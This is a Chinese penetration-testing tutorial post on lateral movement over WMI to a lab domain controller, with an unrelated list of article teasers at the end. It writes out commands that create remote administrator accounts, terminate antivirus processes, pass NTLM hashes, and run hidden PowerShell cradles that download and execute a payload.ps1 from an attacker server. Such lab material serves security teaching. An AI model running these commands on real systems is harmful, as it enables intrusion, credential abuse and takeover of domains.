内网渗透(四十二)之横向移动篇-WMIC远程执行命令横向移动

news2024/12/25 23:56:27

系列文章第一章节之基础知识篇

内网渗透(一)之基础知识-内网渗透介绍和概述
内网渗透(二)之基础知识-工作组介绍
内网渗透(三)之基础知识-域环境的介绍和优点
内网渗透(四)之基础知识-搭建域环境
内网渗透(五)之基础知识-Active Directory活动目录介绍和使用
内网渗透(六)之基础知识-域中的权限划分和基本思想
内网渗透(七)之基础知识-企业常见安全域划分和结构
内网渗透(八)之基础知识-企业域中计算机分类和专业名

系列文章第二章节之内网信息收集篇

内网渗透(九)之内网信息收集-手动本地信息收集
内网渗透(十)之内网信息收集-编写自动化脚本收集本地信息
内网渗透(十一)之内网信息收集-内网IP扫描和发现
内网渗透(十二)之内网信息收集-内网端口扫描和发现
内网渗透(十三)之内网信息收集-收集域环境中的基本信息
内网渗透(十四)之内网信息收集-域环境中查找域内用户基本信息
内网渗透(十五)之内网信息收集-域环境中定位域管理员
内网渗透(十六)之内网信息收集-powershell基础知识
内网渗透(十七)之内网信息收集-powershell收集域内信息和敏感数据定位

系列文章第三章节之Windows协议认证和密码抓取篇

内网渗透(十八)之Windows协议认证和密码抓取-本地认证(NTML哈希和LM哈希)
内网渗透(十九)之Windows协议认证和密码抓取-网络认证(基于挑战响应认证的NTLM协议)
内网渗透(二十)之Windows协议认证和密码抓取-域认证(Kerberos协议)
内网渗透(二十一)之Windows协议认证和密码抓取-Golden Ticket黄金票据制作原理及利用方式
内网渗透(二十二)之Windows协议认证和密码抓取-Silver Ticket白银票据制作原理及利用方式
内网渗透(二十三)之Windows协议认证和密码抓取-Mimikatz介绍和各种模块使用方法
内网渗透(二十四)之Windows协议认证和密码抓取-Mimikatz读取sam和lsass获取密码
内网渗透(二十五)之Windows协议认证和密码抓取-使用Hashcat和在线工具破解NTLM Hash
内网渗透(二十六)之Windows协议认证和密码抓取-浏览器、数据库等其他密码的抓取
内网渗透(二十七)之Windows协议认证和密码抓取-Windows其他类型抓取NTLM HASH工具
内网渗透(二十八)之Windows协议认证和密码抓取-Windows RDP凭证的抓取和密码破解
内网渗透(二十九)之Windows协议认证和密码抓取-Windows-2012R2之后抓取密码的方式和抓取密码的防范措施

系列文章第四章节之横向移动篇

内网渗透(三十)之横向移动篇-利用远控工具向日葵横向移动
内网渗透(三十一)之横向移动篇-利用远控工具todesk横向移动
内网渗透(三十二)之横向移动篇-利用远控工具GoToHTTP横向移动
内网渗透(三十三)之横向移动篇-利用远控工具RustDESK横向移动
内网渗透(三十四)之横向移动篇-IPC配合计划任务横向移动
内网渗透(三十五)之横向移动篇-IPC配合系统服务横向移动
内网渗透(三十六)之横向移动篇-Password Spraying密码喷洒攻击和域内用户枚举横向移动
内网渗透(三十七)之横向移动篇-Pass the Hash 哈希传递攻击(PTH)横向移动
内网渗透(三十八)之横向移动篇-pass the key 密钥传递攻击(PTK)横向攻击
内网渗透(三十九)之横向移动篇-pass the ticket 票据传递攻击(PTT)横向攻击
内网渗透(四十)之横向移动篇-ms14-068传递获取域管横向移动
内网渗透(四十一)之横向移动篇-PsExec工具远程命令执行横向移动

注:阅读本编文章前,请先阅读系列文章,以免造成看不懂的情况!

WMIC远程执行命令横向移动

什么是WMI

WMI是Windows在Powershell还未发布前,微软用来管理Windows系统的重要数据库工具,WMI本身的组织架构是一个数据库架构,WMI 服务使用 DCOM或 WinRM 协议,自从 PsExec 在内网中被严格监控后,越来越多的反病毒厂商将 PsExec 加入了黑名单,于是黑客们渐渐开始使用 WMI 进行横向移动。通过渗透测试发现,在使用 wmiexec 进行横向移动时,windows 操作系统默认不会将 WMI 的操作记录在日志中。因此很多APT开始使用WMI进行攻击。

WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具) ,提供了从命令行接口和批处理脚本执行系统管理的支持。

简单来说:wmic就是wmic.exe,位于windows目录底下,是一个命令行程序。WMIC可以以两种模式执行:交互模式(Interactive mode)和非交互模式(Non-Interactive mode),WMI就是 Windows Management Instrumentation(Windows 管理规范)。它是 Windows 中的一个核心管理技术。

WMIC常见命令

wmic命令需要本地管理员或域管理员才可以进行正常使用,普通权限用户若想要使用wmi,可以修改普通用户的ACL,不过修改用户的ACL也需要管理员权限,普通用户使用wmic。以下命令均在2008R2、2012R2、2016上进行测试,部分命令在虚拟机中测试不行。

wmic logon list brief 查询登录⽤户
wmic ntdomain list brief 查询域控机器
wmic useraccount list brief 查询⽤户列表
wmic share get name,path 查看系统共享
wmic service list brief |more 查询服务列表
wmic startup list full 识别开机启动的程序,包括路径
wmic fsdir "c:\\test" call delete 删除C盘下的test目录
wmic nteventlog get path,filename,writeable 查看系统中开启的⽇志
wmic nicconfig get ipaddress,macaddress 查看系统中⽹卡的IP地址和MAC地址
wmic qfe get description,installedOn 使⽤wmic识别安装到系统中的补丁情况
wmic product get name,version 查看系统中安装的软件以及版本,2008R2上执行后无反应。
wmic useraccount where "name='%UserName%'" call rename newUserName 更改当前用户名
wmic useraccount where "name='Administrator'" call Rename admin 更改指定用户名
wmic bios list full | findstr /i "vmware" 查看当前系统是否是VMWARE,可以按照实际情况进行筛选
wmic desktop get screensaversecure,screensavertimeout 查看当前系统是否有屏保保护,延迟是多少
wmic process where name="vmtoolsd.exe" get executablepath 获取指定进程可执行文件的路径
wmic environment where "name='temp'" get UserName,VariableValue 获取temp环境变量查询当前主机的杀毒软件
wmic process where "name like '%forti%'" get name
wmic process where name="FortiTray.exe" call terminate
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe
wmic /namespace:\\root\securitycenter2 path antispywareproduct GET displayName,productState, pathToSignedProductExe & wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
常见错误
wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
查询windows机器版本和服务位数和.net版本
wmic os get caption
wmic os get osarchitecture
wmic OS get Caption,CSDVersion,OSArchitecture,Version
wmic product where "Name like 'Microsoft .Net%'" get Name, Version
查询本机所有盘符
wmic logicaldisk list brief
wmic logicaldisk get description,name,size,freespace /value
卸载和重新安装程序
wmic product where "name like '%Office%'" get name
wmic product where name="Office" call uninstall
查看某个进程的详细信息 (路径,命令⾏参数等)
wmic process where name="chrome.exe" list full
wmic process where name="frp.exe" get executablepath,name,ProcessId 进程路径
wmic process where caption="frp.exe" get caption,commandline /value
更改PATH环境变量值,新增c:\whoami
wmic environment where "name='path' and username='<system>'" set VariableValue="%path%;c:\whoami
查看某个进程的详细信息-PID
wmic process list brief tasklist /SVC | findstr frp.exe
wmic process where ProcessId=3604 get ParentProcessId,commandline,processid,executablepath,name,CreationClassName,CreationDate
终⽌⼀个进程
wmic process where name ="xshell.exe" call terminate
ntsd -c q -p 进程的PID
taskkill -im pid
获取电脑产品编号和型号信息
wmic baseboard get Product,SerialNumber
wmic bios get serialnumber
安装软件
wmic product get name,version
wmic product list brief

常见错误

1.开启防火墙时,允许共享例外
错误:
代码 = 0x800706ba
说明 = RPC 服务器不可用。
设备 = Win32
2.组策略阻止administraotr远程访问时
错误:
代码 = 0x80070005
说明 = 拒绝访问。
设备 = Win32
3.IP安全策略阻止135时
错误:
代码 = 0x800706ba
说明 = RPC 服务器不可用。
设备 = Win32
4.禁用winmgmt服务时
错误:
代码 = 0x80070422
说明 = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动。
设备 = Win32
5.拒绝wbem目录权限,无法使用wmic的

wmic调用cmd命令

执行命令并且输出
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c ipconfig >c:\ip.txt"
列出远程主机进程
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process list brief 
在远程系统上执行bat脚本
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create c:\programdata\test.bat
在远程系统上添加管理员用户
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add
执行powershell上线
wmic /NODE:IP /user:本地用户管理员/域管理员 /password:密码 PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('ps脚本地址'))\""

实验复现

实验环境

机器名IP
Windows server 2012(域控)192.168.41.10
Windows 10(域内主机)192.168.41.14

前期我们已经通过各种方法拿下了Windows 10(域内主机)的权限,并且通过抓取密码知道了域控的管理员账户和密码,接下来我们要利用WMIC远程执行命令横向移动拿下域控

在这里插入图片描述

利用powershell上线

1、使用cs生成powershell脚本

在这里插入图片描述2、wmic进行上线,把payload.ps1复制放到公网的机器上,可以使用python 开启http服务提供下载

python -m http.server 9988

在这里插入图片描述

3、远程执行命令

wmic /NODE:192.168.41.10 /user:administrator /password:123456 PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.0.100:9988/payload.ps1'))\""

在这里插入图片描述

4、等待目标域控上线

在这里插入图片描述

利用Wmiexec工具powershell上线

wmiexec是一个即有全交互也有半交互的远程命令执行工具,有python版本的pe版本可运用于多种环境,包括webshell环境、rdp环境、socks环境等

wmiexec.exe 域名/用户名:密码@目标IP #哈希传递获得shell
wmiexec.exe 域名/用户名:密码@目标IP "ipconfig" #执行命令
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP #哈希传递获得shell
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig" #执行命令

1、首先将我们的wmiexec.exe上传到win10机器上

在这里插入图片描述

2、使用账号密码登录进行powershell上线

wmiexec.exe administrator:123456@192.168.41.10 "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.0.100:9988/payload.ps1'))"

在这里插入图片描述

3、等待目标域控上线

在这里插入图片描述

利用Wmiexec工具hash上线

1、前期我们已经通过读取hash拿到了域控的管理员账户hash,接下来配合Wmiexec工具上线域控

在这里插入图片描述

2、使用账号hash登录进行powershell上线

wmiexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 administrator@192.168.41.10 "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.0.100:9988/payload.ps1'))"

在这里插入图片描述
3、等待目标域控上线

在这里插入图片描述

wmiexec.vbs上线

wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式Shell。wmiexec.vbs支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式

cscript.exe //nologo wmiexec.vbs /cmd IP 用户 密码 "命令"

1、首先向win10机器上传wmiexec.vbs脚本

在这里插入图片描述

2、使用powershell上线

cscript.exe //nologo wmiexec.vbs /cmd 192.168.41.10 administrator 123456 "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.0.100:9988/payload.ps1'))

在这里插入图片描述

3、等待目标域控上线

在这里插入图片描述

Invoke-WMIExec上线

Invoke-WMIExec是一个powershell脚本在Invoke-TheHash的文件中用法如下

Invoke-WMIExec -Target IP -Domain-Username 用户 -Hash hash-Command "calc.exe" -verbose

首先将Invoke-WMIExec.ps1上传到公网的机器上,可以使用python 开启http服务提供下载

python -m http.server 9988

在这里插入图片描述

采用无文件落地的方式进行横向
shell powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.0.100:9988/Invoke-WMIExec.ps1');import-module .\Invoke-WMIExec.ps1;Invoke-WMIExec -Target 192.168.41.10 -Username administrator -Hash 32ed87bdb5fdc5e9cba88547376818d4 -Command "whoami" -verbose

在这里插入图片描述

目标机器上线域控

在这里插入图片描述

本地执行

1、导入脚本

powershell-import powershell/Invoke-WMIExec.ps1

在这里插入图片描述

2、运行上线命令

powershell Invoke-WMIExec -Target 192.168.41.10 -Username administrator -Hash 32ed87bdb5fdc5e9cba88547376818d4 -Command "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.0.100:9988/payload.ps1'))" -verbose

在这里插入图片描述
3、等待域控上线

在这里插入图片描述

Invoke-WMIMethod.ps1上线

该模块为Powershell内置模块,以下为示例,可以自由组合命令进行测试。

$User #目标系统用户名
$Password #目标系统密码
$Cred #账号密码整合,导入Credential
Invoke-WMIMethod #远程运行指定程序
#####---------------------------#####
$User = "administrator"
$Password= ConvertTo-SecureString -String "123456" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192..168.0.100:9988/payload.ps1'))" -ComputerName "192.168.41.10" -Credential $Cred

在这里插入图片描述

域控上线成功

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/358143.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

业内人士告诉你,买流量卡时一定要问的几个问题?

互联网时代&#xff0c;流量当然是至关重要&#xff0c;但是&#xff0c;在网上搜索流量卡时&#xff0c;广告可谓是铺天盖地&#xff0c;五花八门&#xff0c;所以&#xff0c;小编提醒大家&#xff0c;为了选择性价比较高的卡&#xff0c;在购买流量卡时一定要关注几个问题。…

深度学习神经网络基础知识(二)权重衰减、暂退法(Dropout)

专栏&#xff1a;神经网络复现目录 深度学习神经网络基础知识(二) 本文讲述神经网络基础知识&#xff0c;具体细节讲述前向传播&#xff0c;反向传播和计算图&#xff0c;同时讲解神经网络优化方法&#xff1a;权重衰减&#xff0c;Dropout等方法&#xff0c;最后进行Kaggle实…

一次简陋的页面登录练习

看着有点丑&#xff0c;果然我还是不太适合写前端哈<!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport&q…

2023年,Java岗大厂的架构师之路该怎样走?互联网寒冬能否有所好转?

大厂还值得去吗&#xff1f;程序员这个行业是不是不行了&#xff1f;我还有必要继续学习吗&#xff1f;答案显然是否定的&#xff0c;其实在行业里面很多年的程序员们都知道&#xff0c;大厂每年都会裁员&#xff0c;只不过是裁的数量多少而已&#xff0c;而大规模的裁员&#…

我的周刊(第079期)

我的信息周刊&#xff0c;记录这周我看到的有价值的信息&#xff0c;主要针对计算机领域&#xff0c;内容主题极大程度被我个人喜好主导。这个项目核心目的在于记录让自己有印象的信息做一个留存以及共享。&#x1f3af; 项目ChatGPT 项目推荐基于 ChatGPT 相关接口衍生的项目&…

计算机网络学习笔记02

学习视频&#xff1a;https://www.bilibili.com/video/BV1c4411d7jb/?p7&spm_id_frompageDriver&vd_source75dce036dc8244310435eaf03de4e330 一、计算机网络体系结构 1 常见的计算机网络体系结构 OSI体系结构和TCP/IP体系结构 TCP/IP体系结构的网络接口层并没有规…

【笔试强训】Day_02

目录 一、选择题 1、 2、 3、 4、 5、 6、 7、 8、 9、 10、 二、编程题 1、排序子序列 2、倒置字符串 一、选择题 1、 使用printf函数打印一个double类型的数据&#xff0c;要求&#xff1a;输出为10进制&#xff0c;输出左对齐30个字符&#xff0c;4位精度。…

@Valid与@Validated的区别

1.介绍 说明&#xff1a; 其实Valid 与 Validated都是做数据校验的&#xff0c;只不过注解位置与用法有点不同。 不同点&#xff1a; &#xff08;1&#xff09; Valid是使用Hibernate validation的时候使用。Validated是只用Spring Validator校验机制使用。 &#xff08;2&…

Mysql里的ibtmp1文件太大,导致磁盘空间被占满

目录 一、查看磁盘的时候发现磁盘空间100% 二、 排查的时候&#xff1a;查看是什么文件占用的时候&#xff0c;发现是数据库临时表空间增长的 三、为了避免以后再次出现ibtmp1文件暴涨&#xff0c;限制其大小&#xff0c;需在配置文件加入 四、重启Mysql实例&#xff08;重启后…

6 大经典机器学习数据集,3w+ 用户票选得出,建议收藏

内容一览&#xff1a;本期汇总了超神经下载排名众多的 6 个数据集&#xff0c;涵盖图像识别、机器翻译、遥感影像等领域。这些数据集质量高、数据量大&#xff0c;经历人气认证值得收藏码住。 关键词&#xff1a;数据集 机器翻译 机器视觉 数据集是机器学习模型训练的基础&…

【电商】OMS--零售电商系统的核心

本文讲述了OMS概念以及相关服务和功能&#xff08;包括&#xff1a;信息下发、信息上传、 订单分发协同单号生成与拉、拆单发票服务、状态更新与模板、流水、库存&#xff09; OMS即&#xff1a;订单管理中心&#xff0c;是零售电商系统的核心。 随着中台概念的火热&#xff0…

graphsage解读

传统的图方法都是直推式(transductive)的&#xff0c;学习到的是结构固定的图模型&#xff0c;一旦有新的节点加入&#xff0c;便需要重新训练整个图网络&#xff0c;泛化性不强。GraphSAGE是归纳式(inductive)的&#xff0c;它学习一种映射&#xff1a;通过采样和聚合邻居节点…

ModStartBlog v6.7.0 后台管理优化,页面宽度调整

ModStart 是一个基于 Laravel 模块化极速开发框架。模块市场拥有丰富的功能应用&#xff0c;支持后台一键快速安装&#xff0c;让开发者能快的实现业务功能开发。 系统完全开源&#xff0c;基于 Apache 2.0 开源协议。 功能特性 丰富的模块市场&#xff0c;后台一键快速安装会…

二叉树OJ(二)二叉树中和为某一值的路径 I、II、III

二叉树中和为某一值的路径(一) 描述 给定一个二叉树root和一个值 sum &#xff0c;判断是否有从根节点到叶子节点的节点值之和等于 sum 的路径。 1.该题路径定义为从树的根结点开始往下一直到叶子结点所经过的结点 2.叶子节点是指没有子节点的节点 3.路径只能从父节点到子节点&…

对JS文件中每个函数单独混淆加密

自动化脚本&#xff1a;单独对JS代码中的每个函数进行混淆加密 用自动化脚本工具&#xff0c;对JS代码中的每个函数分别进行单独混淆加密。这样加密得到的JS代码&#xff0c;比直接对整个JS代码进行混淆加密&#xff0c;效果要好很多。所谓“好”体现在&#xff1a;加密结果安…

Interspeech2022 | 一种基于元辅助学习的低资源口语语义理解方法

中国移动研究院首席科学家冯俊兰博士带领人工智能与智慧运营中心语音团队共同撰写的文章《Meta Auxiliary Learning for Low-resource Spoken Language Understanding》被语音国际顶会Interspeech2022接收。 关于Interspeech Interspeech 是国际最大且最全面关于言语科学与技…

QT for Android BLE Bluetooch QT BLE

小白式的介绍&#xff0c;很详细了&#xff0c;很多主要内容写在程序的注释里&#xff0c;慢慢看 下面是我的源码 https://download.csdn.net/download/qq_27620407/87464307 源码打不开的话可以试试下图的操作&#xff0c;之后电机确定&#xff0c;可能是加图标搞的&#xff0…

自监督表征预训练之掩码图像建模

自监督表征预训练之掩码图像建模 前言 目前&#xff0c;在计算机视觉领域&#xff0c;自监督表征预训练有两个主流方向&#xff0c;分别是对比学习&#xff08;contrastive learning&#xff09;和掩码图像建模&#xff08;masked image modeling&#xff09;。两个方向在近几…

CLEVE:事件抽取的对比预训练

CLEVE: Contrastive Pre-training for Event Extraction 论文&#xff1a;CLEVE: Contrastive Pre-training for Event Extraction (arxiv.org) 代码&#xff1a;THU-KEG/CLEVE: Source code for ACL 2021 paper “CLEVE: Contrastive Pre-training for Event Extraction” (g…

初探Upgrade内存马(内存马系列篇六)

写在前面 前面讲解了一个特殊的Tomcat内存马-Executor内存马&#xff0c;这篇同样是一个特殊&#xff0c;可以不被检测到的内存马-Upgrade内存马。 这篇就是内存马系列文章的第六篇了。 前置 在阅读这篇文章之前&#xff0c;同样需要对Tomcat的架构&#xff0c;和初始化流程…